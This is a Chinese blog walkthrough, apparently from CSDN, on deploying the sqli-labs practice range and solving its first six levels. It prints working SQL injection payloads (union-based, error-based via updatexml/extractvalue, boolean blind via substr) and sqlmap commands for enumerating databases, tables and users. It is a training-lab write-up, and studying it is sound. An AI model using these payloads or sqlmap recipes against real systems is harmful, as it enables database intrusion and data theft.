sqli-labs靶场部署及测试

php-study 运行环境

https://www.xp.cn/php-study

下载完后,一直点下一步就行,运行 sqli-labs 需要设置 php 版本为 5.4+(网站 -> 管理 -> php版本),不然有些关卡有问题,低于5.4版本开启了 magic quotes,特殊符号会被转义

sqli-labs 靶场

git clone https://github.com/Audi-1/sqli-labs.git

修改数据库配置文件 sqli-labs/sql-connections/db-creds.inc

sqlmap 工具

https://github.com/sqlmapproject/sqlmap.git

基本命令使用

# 基本使用
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1
# 扫出所有库
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 --dbs
# 扫出所有的表
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 --tables
# 扫出指定库中的所有表
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 -D security --tables
# 扫出指定表的所有字段
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1s -T users --column
# 扫出指定库的指定表的数据量
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 -D security -T users --count
# 查看用户是否是管理员
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 --is-dba
# 跑不出来提高等级,-level 3 --risk 2
python sqlmap.py -u http://192.168.92.20:8086/vul/sqli/sqli_id.php --form --random-agent -level 3 --risk 2 --random-agent

白盒测试

  • 修改每个 less-x 目录下的 index.php 文件,输出执行的 sql 语句到页面
    sqli-labs/Less-1/index.php

第一关

  1. 直接输入 ’ 测试,发现会报错
    在这里插入图片描述
  2. 使用 1’ 闭合,-- aaa 注释掉原 sql 后面的条件
    在这里插入图片描述
  3. 使用 order by 测试表的字段数,1’ order by 10 – aaa,直到报错,可以证实表有 3个字段
    在这里插入图片描述
    在这里插入图片描述
  4. 使用 1’ and 1=2 将原条件设置成不成立,使用 union select 1,2,3 – aaa 测试页面显示字段的位置
    在这里插入图片描述
  5. 查询 information_schema.tables 表,获取当前数据库的所有表
?id=1' and 1=2 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database() -- aaa

在这里插入图片描述

第二关

  1. 同理,先使用单引号 ’ 测,发现是数字类型的
    在这里插入图片描述
  2. 获取 users 表中所有字段
?id=1000000 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() -- a

在这里插入图片描述

第三关

  1. 使用单引号 ’ 测试是否报错可以注入,报错提示语句使用 (‘’) 的形式拼接
    在这里插入图片描述
  2. 使用 and 1=1 可以输出结果,and 1=2 不可以输出结果,说明思路是正确的
    在这里插入图片描述
    在这里插入图片描述
  3. 注入获取数据库地址和用户名
?id=1') and 1 = 2 union select 1,@@datadir,user() -- a

在这里插入图片描述

第四关

  1. 使用单引号 ’ 测试,没有结果输出。使用双引号 " 测试,输出 SQL 语法错误,表示可以注入
    在这里插入图片描述
    在这里插入图片描述
  2. 安装第三关的方法,使用 1") 使语句闭合,并注入
?id=10000") union select 1,version(),user() -- a

在这里插入图片描述

第五关(盲注)

先使用 ’ 测试是否可以注入
布尔类型盲注,页面没有输出 SQL 语句执行结果,只能看到是否有数据显示

  • 有结果输出的页面
    有输出结果的页面
  • 没有结果输出的页面
    输入一个数据库不存在的 id
    报错页面

方法一:使页面显示 SQL 报错语句

updatexml() 函数第二个参数遇到特殊符号会报错,拼接当前数据库显示在页面上

# 在输出的数据库名两边使用符号标记
?id=1' and updatexml('a', concat('?', database(), '!'), 'b') -- a

在这里插入图片描述

方法二:使用 burpsuite

  1. 修改参数,使用 substr() 函数对比数据库名每个字符
    # 条件不成立,没有结果输出
    id=1' and substr(database(), 1, 1) = 'a' -- a
    
    # 条件成立,页面输出结果
    ?id=1' and substr(database(), 1, 1) = 's' -- a
    
    条件不成立,没有结果输出
    条件成立有结果输出
  2. 开启代理,抓包,选择需要爆破的参数
    在这里插入图片描述
  3. 设置 payloads
  • 第一个参数根据数据库名长度设置大小,先设置最大长度为 10,设置太大跑得很慢
    根据数据库名长度设置数字大小
  • 第二个参数选择 a-z,0-9,添加自定义元素 _,根据数据库命名规则设置,mysql 不区分大小写
    在这里插入图片描述
  • 执行,根据请求返回的数据库长度排序,组装字符,获得数据库名
    在这里插入图片描述

方法三:使用 sqlmap 工具

  • 执行命令
# -u:指定爆破地址,-D:指定数据库名,--tables:获取指定库中所有表,--flush-session:忽略已经执行过的缓存
python sqlmap.py -u http://10.4.41.15:81/sqli-labs/Less-5/?id=1 -D security --tables --flush-session

在这里插入图片描述

第六关

  1. 使用 id=1 有结果输出,id=’ 没有结果输出也没报错,id=" 页面报错,发现注入点
    在这里插入图片描述
  2. 使用报错注入,将数据库用户名输出
# extractvalue():需要使第二个参数不符合 xpath 语法使其报错
?id=-1" and extractvalue("1", concat("*", user())) -- a

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值